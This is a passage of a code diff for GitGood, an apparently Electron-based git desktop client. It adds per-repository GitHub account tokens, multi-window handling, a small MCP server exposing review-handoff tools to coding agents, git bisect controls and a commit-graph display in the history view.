this.readAuth(); + } + private async locate(tool: 'git' | 'gh' | 'claude' | 'gpg' | 'sshKeygen', override: string | null, versionArgs: string[], parse: (out: string) => string | null): Promise { const env = await this.env(); let path: string | null = null; @@ -229,49 +268,30 @@ export class ToolLocator { } } - private async doRefresh(): Promise { - await this.ensureLocated(); - const { git, gh, claudeCli } = this.state; - const next: ToolsState = { ...this.state, git, gh, claudeCli }; - if (gh.installed && gh.path) { - const auth = await this.readGhAuth(gh.path); - next.ghAccount = auth.account; - next.ghAuthError = auth.error; - } else { - next.ghAccount = null; - next.ghAuthError = null; - } - next.credentialHelperConfigured = git.installed && git.path ? await this.checkCredentialHelper(git.path) : false; - this.state = next; - return next; + private async readAuth(): Promise { + this.accountTokens.clear(); + const { git, gh } = this.startProbes(); + const [gitInfo, ghInfo] = await Promise.all([git, gh]); + const auth = ghInfo.installed && ghInfo.path ? await this.readGhAuth(ghInfo.path) : { accounts: [], account: null, error: null }; + const credentialHelperConfigured = gitInfo.installed && gitInfo.path ? await this.checkCredentialHelper(gitInfo.path) : false; + this.patch({ ghAccount: auth.account, ghAccounts: auth.accounts, ghAuthError: auth.error, credentialHelperConfigured }); + return this.state; } - private async readGhAuth(ghPath: string): Promise<{ account: GitHubAccount | null; error: string | null }> { + private async readGhAuth(ghPath: string): Promise<{ accounts: GhAccountEntry[]; account: GitHubAccount | null; error: string | null }> { const env = await this.ghEnv(); + const none = { accounts: [], account: null }; try { - const result = await exec(ghPath, ['auth', 'status', '--json', 'hosts'], { env, timeoutMs: 20000, okExitCodes: [1] }); - const text = result.stdout.trim(); - if (!text.startsWith('{')) { - return { account: null, error: result.stderr.includes('not logged') ? null : result.stderr.trim() || null }; + // `--json hosts` needs gh 2.67+; older gh fails with "unknown flag" and gets the human-readable output instead. + let result = await exec(ghPath, ['auth', 'status', '--json', 'hosts'], { env, timeoutMs: 20000, okExitCodes: [1] }); + if (!result.stdout.trim().startsWith('{') && /unknown flag/i.test(result.stderr)) { + result = await exec(ghPath, ['auth', 'status'], { env, timeoutMs: 20000, okExitCodes: [1] }); } - const parsed = JSON.parse(text) as { hosts: Record }; - let entry: { state: string; active: boolean; host: string; login: string; scopes: string; gitProtocol: string } | null = null; - for (const list of Object.values(parsed.hosts ?? {})) { - const active = list.find((e) => e.active && e.state === 'success') ?? list.find((e) => e.state === 'success'); - if (active) { - entry = active; - if (active.host === 'github.com') break; - } - } - if (!entry) return { account: null, error: null }; - const account: GitHubAccount = { - login: entry.login, - name: null, - avatarUrl: null, - host: entry.host, - scopes: entry.scopes ? entry.scopes.split(',').map((s) => s.trim()).filter(Boolean) : [], - protocol: entry.gitProtocol || null, - }; + const isJson = result.stdout.trim().startsWith('{'); + const accounts = parseGhAuthStatus(isJson ? result.stdout : `${result.stdout}\n${result.stderr}`); + const entry = primaryAccount(accounts); + if (!entry) return { ...none, error: /not logged/i.test(`${result.stdout}${result.stderr}`) ? null : result.stderr.trim() || null }; + const account: GitHubAccount = { login: entry.login, name: null, avatarUrl: null, host: entry.host, scopes: entry.scopes, protocol: entry.protocol }; try { const user = await exec(ghPath, ['api', 'user', '--hostname', entry.host, '--jq', '{login: .login, name: .name, avatar_url: .avatar_url}'], { env, timeoutMs: 20000 }); const u = JSON.parse(user.stdout) as { login: string; name: string | null; avatar_url: string | null }; @@ -280,9 +300,9 @@ export class ToolLocator { } catch (err) { log.warn(`Could not fetch GitHub profile: ${(err as Error).message}`); } - return { account, error: null }; + return { accounts, account, error: null }; } catch (err) { - return { account: null, error: (err as Error).message }; + return { ...none, error: (err as Error).message }; } } @@ -298,6 +318,36 @@ export class ToolLocator { return env; } + /** + * The account chosen for the repository at `repoPath` (Repository settings → GitHub account) with its + * token, or null when the repository follows the host's active account. The token is fetched from + * `gh auth token --user` once and kept in memory only. A chosen account that is no longer signed in + * is an error: silently using another identity could push as the wrong user. + */ + async repoAccount(repoPath: string | null | undefined): Promise<{ host: string; token: string } | null> { + const path = repoPath ?? repoScope.getStore(); + const chosen = path ? this.store.getRepositories().find((r) => samePath(r.path, path))?.githubAccount : undefined; + if (!chosen) return null; + const key = `${chosen.host}\0${chosen.login}`; + let token = this.accountTokens.get(key); + if (!token) { + token = (async () => { + await this.ensure('gh'); + const result = await exec(this.ghPath(), ['auth', 'token', '--hostname', chosen.host, '--user', chosen.login], { env: await this.ghEnv(), timeoutMs: 15000 }); + const value = result.stdout.trim(); + if (!value) throw new Error('empty token'); + return value; + })(); + this.accountTokens.set(key, token); + } + try { + return { host: chosen.host, token: await token }; + } catch { + this.accountTokens.delete(key); + throw new GitError({ message: `This repository is set to use the GitHub account ${chosen.login} on ${chosen.host}, which is not signed in. Sign in again from Options → Accounts or choose another account in Repository settings.`, command: '', exitCode: null, stderr: '', stdout: '', code: 'gh-not-authenticated' }); + } + } + private async checkCredentialHelper(gitPath: string): Promise { try { const env = await this.env(); diff --git a/src/main/window.ts b/src/main/window.ts index 1a8a0e5..e31b758 100644 --- a/src/main/window.ts +++ b/src/main/window.ts @@ -15,11 +15,18 @@ export function smokeHeadless(): boolean { return !!process.env.GITGOOD_SMOKE_SCRIPT && process.env.GITGOOD_SMOKE_SHOW !== '1'; } -/** `remoteUrl` (client mode) loads the GitGood server's renderer with the client preload instead of the bundled app. */ -export function createMainWindow(store: Store, onFocusChange?: (focused: boolean) => void, remoteUrl?: string): BrowserWindow { +/** + * `remoteUrl` (client mode) loads the GitGood server's renderer with the client preload instead of the bundled app. + * `hash` is handed to the renderer as its URL fragment (`repo=`: open that repository at startup, see `bootstrap`). + * The first window restores and persists the saved bounds; later ones cascade from the window that was active and never save. + */ +export function createMainWindow(store: Store, onFocusChange?: (focused: boolean) => void, remoteUrl?: string, hash?: string): BrowserWindow { const state = store.getState(); const headless = smokeHeadless(); - const bounds = state.window; + const anchor = BrowserWindow.getFocusedWindow() ?? BrowserWindow.getAllWindows()[0]; + const primary = !anchor; + const anchorBounds = anchor?.getNormalBounds(); + const bounds = anchorBounds ? { ...anchorBounds, x: anchorBounds.x + 30, y: anchorBounds.y + 30, maximized: false } : state.window; const display = screen.getDisplayMatching({ x: bounds.x ?? 0, y: bounds.y ?? 0, width: bounds.width, height: bounds.height }); const fitsOnScreen = bounds.x !== undefined && bounds.y !== undefined && bounds.x >= display.bounds.x - 50 && bounds.y >= display.bounds.y - 50 && bounds.x < display.bounds.x + display.bounds.width && bounds.y < display.bounds.y + display.bounds.height; const dark = nativeTheme.shouldUseDarkColors; @@ -59,10 +66,12 @@ export function createMainWindow(store: Store, onFocusChange?: (focused: boolean const b = maximized ? win.getNormalBounds() : win.getBounds(); store.updateState({ window: { ...store.getState().window, x: b.x, y: b.y, width: b.width, height: b.height, maximized } }); }, 400); - win.on('resize', saveBounds); - win.on('move', saveBounds); - win.on('maximize', saveBounds); - win.on('unmaximize', saveBounds); + if (primary) { + win.on('resize', saveBounds); + win.on('move', saveBounds); + win.on('maximize', saveBounds); + win.on('unmaximize', saveBounds); + } win.on('focus', () => { sendEvent(win, 'window.focus', { focused: true }); onFocusChange?.(true); @@ -101,9 +110,9 @@ export function createMainWindow(store: Store, onFocusChange?: (focused: boolean }); void win.loadURL(remoteUrl); } else if (process.env.ELECTRON_RENDERER_URL) { - void win.loadURL(process.env.ELECTRON_RENDERER_URL); + void win.loadURL(hash ? `${process.env.ELECTRON_RENDERER_URL}#${hash}` : process.env.ELECTRON_RENDERER_URL); } else { - void win.loadFile(join(__dirname, '../renderer/index.html')); + void win.loadFile(join(__dirname, '../renderer/index.html'), { hash }); } return win; } diff --git a/src/mcp/index.ts b/src/mcp/index.ts new file mode 100644 index 0000000..5f4d94a --- /dev/null +++ b/src/mcp/index.ts @@ -0,0 +1,21 @@ +/** stdio transport: newline-delimited JSON-RPC messages in, one response line out per request (stdout carries nothing else). */ +import { createInterface } from 'node:readline'; +import { handleMessage } from './server'; + +const send = (msg: object) => process.stdout.write(JSON.stringify(msg) + '\n'); + +createInterface({ input: process.stdin }).on('line', (line) => { + if (!line.trim()) return; + let msg: unknown; + try { + msg = JSON.parse(line); + } catch { + send({ jsonrpc: '2.0', id: null, error: { code: -32700, message: 'Parse error' } }); + return; + } + const id = (msg as { id?: unknown } | null)?.id; + handleMessage(msg).then( + (res) => res && send(res), + (err: unknown) => send({ jsonrpc: '2.0', id: id ?? null, error: { code: -32603, message: err instanceof Error ? err.message : String(err) } }), + ); +}); diff --git a/src/mcp/server.ts b/src/mcp/server.ts new file mode 100644 index 0000000..69eab0a --- /dev/null +++ b/src/mcp/server.ts @@ -0,0 +1,199 @@ +/** + * GitGood's MCP server: the review handoff for coding agents as three tools. + * Pure message handling (JSON-RPC 2.0, MCP tools capability); `index.ts` wires it + * to stdio. Read-only except opening a link or the GitGood app: findings come from + * `/gitgood/review/latest.json`, which GitGood writes after every review. + */ +import { execFile, spawn } from 'node:child_process'; +import { readFile, stat } from 'node:fs/promises'; +import { isAbsolute, join, resolve } from 'node:path'; +import { EXPORT_DIR_SEGMENTS, LATEST_JSON, type ReviewExport } from '../main/ai/review-export'; + +/** Newest first. A client asking for anything else is answered with the newest, as the spec requires. */ +export const PROTOCOL_VERSIONS = ['2025-11-25', '2025-06-18', '2025-03-26', '2024-11-05']; +const RERUN_PREFIX = 'gitgood://review/rerun?'; + +export interface McpDeps { + /** Hands a URL to the OS opener (xdg-open / open / Start-Process). */ + openUrl(url: string): Promise; + /** Starts GitGood (or its already running instance) on a directory. */ + launchApp(dir: string): Promise; +} + +interface JsonRpcRequest { + jsonrpc?: unknown; + id?: unknown; + method?: unknown; + params?: unknown; +} + +const REPO_PATH = { type: 'string', description: 'Path of the repository (or any folder inside it, or a linked worktree).' }; +export const TOOLS = [ + { + name: 'gitgood_latest_review', + description: 'The latest AI review GitGood exported for a repository: open findings (file, line, severity, message, suggestion) and the re-review link. Read-only.', + inputSchema: { type: 'object', properties: { repoPath: REPO_PATH }, required: ['repoPath'], additionalProperties: false }, + }, + { + name: 'gitgood_request_rereview', + description: 'Ask GitGood to re-run the pre-commit review of the working tree by opening the latest export\'s single-use re-review link. Use after fixing findings; fails when the latest review has no link (pull request and branch reviews read committed history).', + inputSchema: { type: 'object', properties: { repoPath: REPO_PATH }, required: ['repoPath'], additionalProperties: false }, + }, + { + name: 'gitgood_open_repository', + description: 'Open a repository in the GitGood desktop app.', + inputSchema: { type: 'object', properties: { path: REPO_PATH }, required: ['path'], additionalProperties: false }, + }, +]; + +/** A failure the agent should read; reported as a tool result with `isError`, not a protocol error. */ +class ToolError extends Error {} + +function git(cwd: string, args: string[]): Promise { + return new Promise((ok, fail) => { + execFile('git', args, { cwd, encoding: 'utf8', windowsHide: true }, (err, stdout, stderr) => { + if (err) fail(new ToolError(/ENOENT/.test(err.message) ? 'git was not found on PATH.' : `${cwd} is not inside a git repository (${stderr.trim() || err.message}).`)); + else ok(stdout.trim()); + }); + }); +} + +function pathArg(args: Record, key: string): string { + const value = args[key]; + if (typeof value !== 'string' || !value.trim()) throw new ToolError(`"${key}" must be a non-empty string.`); + return resolve(value); +} + +async function directoryArg(args: Record, key: string): Promise { + const dir = pathArg(args, key); + if (!(await stat(dir).catch(() => null))?.isDirectory()) throw new ToolError(`${dir} is not a directory.`); + return dir; +} + +/** Same lookup as the app (`git rev-parse --git-dir`, so linked worktrees resolve to their own git dir). */ +async function readLatest(args: Record): Promise<{ file: string; doc: ReviewExport }> { + const dir = await directoryArg(args, 'repoPath'); + const gitDir = await git(dir, ['rev-parse', '--git-dir']); + const file = join(isAbsolute(gitDir) ? gitDir : resolve(dir, gitDir), ...EXPORT_DIR_SEGMENTS, LATEST_JSON); + let text: string; + try { + text = await readFile(file, 'utf8'); + } catch { + throw new ToolError(`No GitGood review export at ${file}. Run an AI review for this repository in GitGood first.`); + } + try { + const doc = JSON.parse(text) as ReviewExport; + if (!doc || !Array.isArray(doc.findings)) throw new Error('missing findings'); + return { file, doc }; + } catch (err) { + throw new ToolError(`${file} is not a valid GitGood review export (${err instanceof Error ? err.message : String(err)}).`); + } +} + +async function latestReview(args: Record): Promise { + const { file, doc } = await readLatest(args); + const open = doc.findings.filter((f) => !f.dismissed); + return { + exportFile: file, + runId: doc.runId, + previousRunId: doc.previousRunId, + target: doc.target, + verdict: doc.verdict, + summary: doc.summary, + finishedAt: doc.finishedAt, + error: doc.error, + dismissedCount: doc.findings.length - open.length, + findings: open.map((f) => ({ file: f.path, line: f.line, endLine: f.endLine, severity: f.severity, category: f.category, title: f.title, message: f.detail, suggestion: f.suggestion, confidence: f.confidence })), + rerun: doc.rerun, + }; +} + +async function requestRereview(args: Record, deps: McpDeps): Promise { + const { doc } = await readLatest(args); + const url = doc.rerun?.url; + if (!url) throw new ToolError('The latest review has no re-review link: pull request and branch reviews read committed history, so re-reviewing would change nothing. Ask the user to commit the changes in GitGood and press Re-review.'); + // The export is a file in the repository; never hand the OS opener anything but our own link. + if (!url.startsWith(RERUN_PREFIX)) throw new ToolError('The re-review link in the export is not a gitgood://review/rerun link; refusing to open it.'); + try { + await deps.openUrl(url); + } catch (err) { + throw new ToolError(`Could not open the re-review link (is GitGood installed and registered for gitgood:// links?): ${err instanceof Error ? err.message : String(err)}`); + } + return { opened: true, note: `GitGood re-reviews the working tree; re-read latest.json afterwards — its runId changes and previousRunId is ${doc.runId}.` }; +} + +async function openRepository(args: Record, deps: McpDeps): Promise { + const root = await git(await directoryArg(args, 'path'), ['rev-parse', '--show-toplevel']); + try { + await deps.launchApp(root); + } catch (err) { + throw new ToolError(`Could not start GitGood: ${err instanceof Error ? err.message : String(err)}`); + } + return { opened: root }; +} + +export const defaultDeps: McpDeps = { + openUrl(url) { + const [cmd, ...args] = process.platform === 'win32' ? ['powershell', '-NoProfile', '-Command', `Start-Process '${url.replace(/'/g, "''")}'`] : process.platform === 'darwin' ? ['open', url] : ['xdg-open', url]; + return new Promise((ok, fail) => execFile(cmd, args, { windowsHide: true }, (err) => (err ? fail(err) : ok()))); + }, + launchApp(dir) { + // Under the app's own runtime (ELECTRON_RUN_AS_NODE, how the plugin starts this) execPath is GitGood itself; + // otherwise GITGOOD_APP, or the `gitgood` launcher the Linux installer puts on PATH. + const exe = process.versions.electron ? process.env.APPIMAGE || process.execPath : process.env.GITGOOD_APP || 'gitgood'; + const env = { ...process.env }; + delete env.ELECTRON_RUN_AS_NODE; + return new Promise((ok, fail) => { + // `dir` is absolute, so it cannot be mistaken for an option; the app opens it via its command-line support. + const child = spawn(exe, [dir], { detached: true, stdio: 'ignore', env, windowsHide: true }); + child.once('error', (err) => fail(/ENOENT/.test(err.message) ? new Error(`${exe} was not found; set GITGOOD_APP to the GitGood executable.`) : err)); + child.once('spawn', () => { + child.unref(); + ok(); + }); + }); + }, +}; + +const rpcError = (id: unknown, code: number, message: string) => ({ jsonrpc: '2.0', id: id ?? null, error: { code, message } }); + +/** One decoded JSON-RPC message in, the response out (null for notifications). */ +export async function handleMessage(msg: unknown, deps: McpDeps = defaultDeps): Promise { + if (!msg || typeof msg !== 'object' || Array.isArray(msg)) return rpcError(null, -32600, 'Invalid Request'); + const { jsonrpc, id, method, params } = msg as JsonRpcRequest; + if (jsonrpc !== '2.0' || typeof method !== 'string' || (id !== undefined && typeof id !== 'string' && typeof id !== 'number')) return rpcError(id, -32600, 'Invalid Request'); + if (id === undefined) return null; // notification (notifications/initialized, notifications/cancelled, …) + const reply = (result: unknown) => ({ jsonrpc: '2.0', id, result }); + const p = (params && typeof params === 'object' ? params : {}) as Record; + switch (method) { + case 'initialize': { + const requested = typeof p.protocolVersion === 'string' ? p.protocolVersion : ''; + return reply({ + protocolVersion: PROTOCOL_VERSIONS.includes(requested) ? requested : PROTOCOL_VERSIONS[0], + capabilities: { tools: {} }, + serverInfo: { name: 'gitgood', version: typeof __GITGOOD_VERSION__ === 'string' ? __GITGOOD_VERSION__ : 'dev' }, + instructions: 'Read the exported AI review with gitgood_latest_review, fix the findings, then call gitgood_request_rereview. Never commit on the user\'s behalf.', + }); + } + case 'ping': + return reply({}); + case 'tools/list': + return reply({ tools: TOOLS }); + case 'tools/call': { + const name = p.name; + if (!TOOLS.some((t) => t.name === name)) return rpcError(id, -32602, `Unknown tool: ${String(name)}`); + const args = (p.arguments && typeof p.arguments === 'object' ? p.arguments : {}) as Record; + try { + const result = name === 'gitgood_latest_review' ? await latestReview(args) : name === 'gitgood_request_rereview' ? await requestRereview(args, deps) : await openRepository(args, deps); + return reply({ content: [{ type: 'text', text: JSON.stringify(result, null, 2) }] }); + } catch (err) { + if (!(err instanceof ToolError)) throw err; + return reply({ content: [{ type: 'text', text: err.message }], isError: true }); + } + } + default: + return rpcError(id, -32601, `Method not found: ${method}`); + } +} + +declare const __GITGOOD_VERSION__: string | undefined; diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx index 1e4225f..16e28a7 100644 --- a/src/renderer/src/App.tsx +++ b/src/renderer/src/App.tsx @@ -17,6 +17,8 @@ import { TabBar, installLongPress, installPhoneNavigation, onPhoneTap } from './ import { Welcome } from './components/Welcome'; import { ReviewView } from './components/review/ReviewView'; import { lazyExport } from './lib/lazy'; +import { shortcutMatches } from './lib/shortcuts'; +import { invoke } from './api'; const HealthView = lazyExport(() => import('./components/HealthView'), 'HealthView'); const InboxPanel = lazyExport(() => import('./components/Inbox'), 'InboxPanel'); @@ -91,12 +93,18 @@ export function App(): React.JSX.Element { void bootstrap(); }, []); + // The native menu carries the accelerators; tell it whenever the overrides load or change (it ignores unchanged ones). + const shortcuts = useAppStore((s) => s.settings?.shortcuts); + useEffect(() => { + if (shortcuts) void invoke('app.setShortcuts', shortcuts).catch(() => undefined); + }, [shortcuts]); + useEffect(() => { const onKey = (e: KeyboardEvent) => { - const mod = e.ctrlKey || e.metaKey; - if (mod && !e.shiftKey && (e.key === '1' || e.key === '2')) { + const target = shortcutMatches('show-changes', e) ? 'changes' : shortcutMatches('show-history', e) ? 'history' : null; + if (target) { e.preventDefault(); - setView(e.key === '1' ? 'changes' : 'history'); + setView(target); } }; window.addEventListener('keydown', onKey); diff --git a/src/renderer/src/api.ts b/src/renderer/src/api.ts index b53d4bf..80f01ef 100644 --- a/src/renderer/src/api.ts +++ b/src/renderer/src/api.ts @@ -28,7 +28,6 @@ export function on(event: K, listener: (payload: EventPaylo export const platform: string = window.gitgoodBridge.platform; export const isMac = platform === 'darwin'; export const isWindows = platform === 'win32'; -export const modKey = isMac ? '⌘' : 'Ctrl'; export function errorMessage(err: unknown): string { if (err instanceof ApiError) return err.info.message; diff --git a/src/renderer/src/components/Banners.tsx b/src/renderer/src/components/Banners.tsx index 9564b0a..5d13a7b 100644 --- a/src/renderer/src/components/Banners.tsx +++ b/src/renderer/src/components/Banners.tsx @@ -1,9 +1,10 @@ import React, { useEffect, useState } from 'react'; -import type { UpdateState } from '@shared/types'; +import type { BisectState, UpdateState } from '@shared/types'; import { formatRelativeTime } from '@shared/util'; import * as actions from '../state/actions'; import { openDialog, store, useAppStore } from '../state/store'; -import { on } from '../api'; +import { invoke, on } from '../api'; +import { markBisect, openBisectResult, resetBisect } from '../state/reflog'; import { Button, Icon, Spinner } from './ui'; function lfsInstallHint(platform: string): string { @@ -58,6 +59,65 @@ function updateBanner(updateState: UpdateState): React.JSX.Element | null { return null; } +const plural = (n: number, noun: string): string => `${n} ${noun}${n === 1 ? '' : 's'}`; + +/** Progress of a running `git bisect`: mark the checked-out commit good/bad/skip, or reset; shows the first bad commit once git has found it. */ +function BisectBanner(): React.JSX.Element { + const repo = useAppStore((s) => s.currentRepo); + const status = useAppStore((s) => s.status); + const busy = useAppStore((s) => s.operation !== null); + const [state, setState] = useState(null); + useEffect(() => { + if (!repo) return; + let current = true; + invoke('repo.bisect', repo.path).then((s) => current && setState(s), () => undefined); + return () => { + current = false; + }; + }, [repo, status]); + + const reset = ; + if (state?.firstBad) { + return ( +
+ + + First bad commit found + {state.firstBad.sha.slice(0, 7)} {state.firstBad.summary} + + + + {reset} + +
+ ); + } + const ready = !!state && state.bad !== null && state.good.length > 0; + return ( +
+ + + Bisecting + {ready && state.remaining !== null && state.steps !== null + ? `${plural(state.remaining, 'revision')} left (about ${plural(state.steps, 'step')}). Test ${state.head?.sha.slice(0, 7) ?? 'the checked-out commit'}${state.head ? ` “${state.head.summary}”` : ''}, then mark it.` + : state + ? `Mark a ${state.bad === null ? 'bad' : 'good'} commit (right-click it in History) to continue.` + : 'Loading…'} + + + {ready ? ( + <> + + + + + ) : null} + {reset} + +
+ ); +} + /** Post-resolution check failure banner: shows the command and a "Show output" toggle, plus a single "Ask AI to fix" retry (hidden after it has already been used once for this file). */ function CheckFailedBanner(): React.JSX.Element | null { const banner = useAppStore((s) => s.checkBanner); @@ -203,6 +263,7 @@ export function Banners(): React.JSX.Element | null { ); } + if (op.kind === 'bisect') banners.push(); if (checkBanner) banners.push(); if (merge && dismissedMerge !== merge.at) { diff --git a/src/renderer/src/components/ChangesTab.tsx b/src/renderer/src/components/ChangesTab.tsx index 60f29e3..2ec2829 100644 --- a/src/renderer/src/components/ChangesTab.tsx +++ b/src/renderer/src/components/ChangesTab.tsx @@ -9,6 +9,7 @@ import { liveFindings, SEVERITY_ICON, SEVERITY_TONE } from './review/ReviewView' import { onListKeyDown } from '../lib/listKeys'; import { Avatar, Button, Checkbox, Icon, PathLabel, Spinner, openContextMenu, statusIcon, statusLabel, type MenuItem } from './ui'; import { useWindowedRows } from '../lib/windowing'; +import { shortcutMatches } from '../lib/shortcuts'; const SUMMARY_LIMIT = 72; @@ -283,7 +284,7 @@ function CommitForm(): React.JSX.Element { const label = changes.committing ? 'Committing…' : changes.amend ? 'Amend last commit' : inMerge ? `Commit ${status?.operation.kind === 'merge' ? 'merge' : status?.operation.kind}` : status?.branch.detached ? 'Commit to detached HEAD' : `Commit to ${branchName}`; const onKeyDown = (e: React.KeyboardEvent) => { - if ((e.ctrlKey || e.metaKey) && e.key === 'Enter' && canCommit) { + if (canCommit && shortcutMatches('commit', e)) { e.preventDefault(); void actions.commit(); } diff --git a/src/renderer/src/components/CommandPalette.tsx b/src/renderer/src/components/CommandPalette.tsx index a6da14f..30e8d81 100644 --- a/src/renderer/src/components/CommandPalette.tsx +++ b/src/renderer/src/components/CommandPalette.tsx @@ -37,6 +37,8 @@ const BUILTIN_ACTIONS: { id: string; label: string }[] = [ { id: 'show-submodules', label: 'Submodules…' }, { id: 'show-lfs', label: 'Git LFS…' }, { id: 'show-health', label: 'Repository Health…' }, + { id: 'show-reflog', label: 'Undo History…' }, + { id: 'undo-last-operation', label: 'Undo Last Git Operation' }, { id: 'show-issues', label: 'Issues…' }, { id: 'create-issue', label: 'Create Issue on GitHub' }, { id: 'view-on-github', label: 'View on GitHub' }, diff --git a/src/renderer/src/components/HistoryTab.tsx b/src/renderer/src/components/HistoryTab.tsx index f76a701..5e953f2 100644 --- a/src/renderer/src/components/HistoryTab.tsx +++ b/src/renderer/src/components/HistoryTab.tsx @@ -1,6 +1,8 @@ -import React, { memo, useCallback, useEffect, useRef, useState } from 'react'; +import React, { memo, useCallback, useEffect, useMemo, useRef, useState } from 'react'; +import { markBisect, startBisectFrom } from '../state/reflog'; import { aiEnabled as aiOn } from '@shared/ai-model'; -import type { Commit, CommitSignature, HistoryQuery, SignatureStatus } from '@shared/types'; +import { extendGraph, type Graph, type GraphRow } from '@shared/graph'; +import type { Commit, CommitSignature, HistoryQuery, OperationKind, SignatureStatus } from '@shared/types'; import { isMac } from '../api'; import * as actions from '../state/actions'; import { historyFilterActive, historyReorderDisabled } from '../state/actions'; @@ -98,6 +100,23 @@ function SignatureBadge({ signature }: { signature: CommitSignature | null }): R return ; } +/** Bisect entries: start (this commit is good / bad) when idle, otherwise mark this commit while a bisect runs. */ +function bisectMenuItems(commit: Commit, operation: OperationKind): MenuItem[] { + if (operation === 'bisect') { + return [ + { label: 'Bisect: mark as good', icon: 'check-circle', onClick: () => void markBisect('good', commit.sha) }, + { label: 'Bisect: mark as bad', icon: 'x-circle', onClick: () => void markBisect('bad', commit.sha) }, + { label: 'Bisect: skip', icon: 'skip', onClick: () => void markBisect('skip', commit.sha) }, + ]; + } + const label = `${commit.shortSha} ${commit.summary}`; + const title = operation === 'none' ? undefined : 'Finish the operation in progress first'; + return [ + { label: 'Bisect: this commit is good (bad = HEAD)', icon: 'check-circle', disabled: operation !== 'none', title, onClick: () => startBisectFrom(commit.sha, label, 'good') }, + { label: 'Bisect: this commit is bad…', icon: 'x-circle', disabled: operation !== 'none', title, onClick: () => startBisectFrom(commit.sha, label, 'bad') }, + ]; +} + function commitMenu(commit: Commit, selected: string[]): MenuItem[] { const s = store.get(); const repo = s.currentRepo; @@ -129,6 +148,8 @@ function commitMenu(commit: Commit, selected: string[]): MenuItem[] { { label: 'Checkout commit', onClick: () => void actions.checkoutCommit(commit.sha) }, { label: 'Drop commit…', danger: true, onClick: () => openDialog({ kind: 'confirm', title: 'Drop commit?', message: `"${commit.summary}" will be removed from the branch history. Commits after it are rewritten.`, confirmLabel: 'Drop commit', danger: true, onConfirm: () => void actions.dropCommit(commit.sha) }) }, { type: 'separator' }, + ...bisectMenuItems(commit, s.status?.operation.kind ?? 'none'), + { type: 'separator' }, { label: 'Copy SHA', onClick: () => void actions.copyToClipboard(commit.sha, 'SHA copied') }, ...(tags.length ? [{ label: 'Copy tag names', onClick: () => void actions.copyToClipboard(tags.join('\n'), 'Tags copied') }] : []), { label: 'View on GitHub', icon: 'external', onClick: () => repo?.github && void actions.openExternal(`${repo.github.url}/commit/${commit.sha}`), disabled: !repo?.github }, @@ -151,6 +172,10 @@ export function HistoryTab(): React.JSX.Element { const win = useWindowedRows(listEl, { count: history.commits.length, kindOf: commitRowKind, keyOf: commitKey, estimates: COMMIT_ROW_ESTIMATES, resetKey: history.path ?? '' }); const filterActive = historyFilterActive(history); const reorderDisabled = historyReorderDisabled(history); + // Lanes are extended incrementally per loaded page (see extendGraph); `history.graph` is false while a filter/path narrows the list. + const graphRef = useRef(null); + const graph = useMemo(() => (graphRef.current = history.graph ? extendGraph(graphRef.current, history.commits) : null), [history.graph, history.commits]); + const graphLanes = graph ? Math.min(graph.width, GRAPH_MAX_LANES) : 0; useEffect(() => { const el = sentinel.current; @@ -188,7 +213,7 @@ export function HistoryTab(): React.JSX.Element { const rows: React.ReactNode[] = []; for (let i = win.start; i < win.end; i++) { const c = history.commits[i]; - rows.push(); + rows.push(); } return ( @@ -319,7 +344,7 @@ export function HistoryTab(): React.JSX.Element { ); } -const CommitRow = memo(function CommitRow({ commit: c, selected, inactive, unpushed, dragOver, draggable, verifySignatures, rowRef, onDragOver, onDragLeave, onDragEnd, onDrop }: { commit: Commit; selected: boolean; inactive: boolean; unpushed: boolean; dragOver: boolean; draggable: boolean; verifySignatures: boolean; rowRef: (el: HTMLElement | null) => void; onDragOver: (sha: string, e: React.DragEvent) => void; onDragLeave: (sha: string) => void; onDragEnd: () => void; onDrop: (sha: string) => void }): React.JSX.Element { +const CommitRow = memo(function CommitRow({ commit: c, selected, inactive, unpushed, dragOver, draggable, verifySignatures, graph, graphLanes, rowRef, onDragOver, onDragLeave, onDragEnd, onDrop }: { commit: Commit; selected: boolean; inactive: boolean; unpushed: boolean; dragOver: boolean; draggable: boolean; verifySignatures: boolean; graph: GraphRow | null; graphLanes: number; rowRef: (el: HTMLElement | null) => void; onDragOver: (sha: string, e: React.DragEvent) => void; onDragLeave: (sha: string) => void; onDragEnd: () => void; onDrop: (sha: string) => void }): React.JSX.Element { const tags = c.refs.filter((r) => r.startsWith('tag: ')).map((r) => r.slice(5)); const branchesRefs = c.refs.filter((r) => !r.startsWith('tag: ') && r !== 'HEAD'); return ( @@ -354,6 +379,7 @@ const CommitRow = memo(function CommitRow({ commit: c, selected, inactive, unpus if (!e.currentTarget.title) e.currentTarget.title = `${c.shortSha} · ${c.author.name} · ${new Date(c.author.date).toLocaleString()}`; }} > + {graph ? : null} @@ -396,9 +422,32 @@ const CommitRow = memo(function CommitRow({ commit: c, selected, inactive, unpus ); }); +const GRAPH_MAX_LANES = 10; +const GRAPH_LANE_W = 12; +/** Must match `.commit-row`'s fixed desktop height (components.css); the gutter is hidden on phone layouts, where rows grow. */ +const GRAPH_ROW_H = 60; + +/** One row's slice of the commit graph: line segments in lane colours plus the commit's node. Lanes past GRAPH_MAX_LANES are squeezed into the last column. */ +const GraphGutter = memo(function GraphGutter({ row, lanes }: { row: GraphRow; lanes: number }): React.JSX.Element { + const mid = GRAPH_ROW_H / 2; + const x = (lane: number) => Math.min(lane, lanes - 1) * GRAPH_LANE_W + GRAPH_LANE_W / 2; + return ( + + ); +}); + /** Form-control equivalent of the search box's `key:value` syntax; two-way synced through `history.query` (see setHistoryQuery). */ function HistoryFilterPopover(): React.JSX.Element { const query = useAppStore((s) => s.history.query); + const showGraph = useAppStore((s) => s.settings?.historyGraph ?? false); useEffect(() => { const onDown = (e: MouseEvent) => { const target = e.target as HTMLElement; @@ -431,6 +480,7 @@ function HistoryFilterPopover(): React.JSX.Element { update({ before: e.target.value || null })} /> update({ allRefs: v })} label="Search every branch, tag and remote" /> + void actions.updateSettings({ historyGraph: v })} label="Show commit graph (hidden while searching or filtering)" />
diff --git a/src/renderer/src/components/Setup.tsx b/src/renderer/src/components/Setup.tsx index bb917c4..847df9c 100644 --- a/src/renderer/src/components/Setup.tsx +++ b/src/renderer/src/components/Setup.tsx @@ -32,8 +32,8 @@ export function SetupScreen({ tools }: { tools: ToolsState }): React.JSX.Element
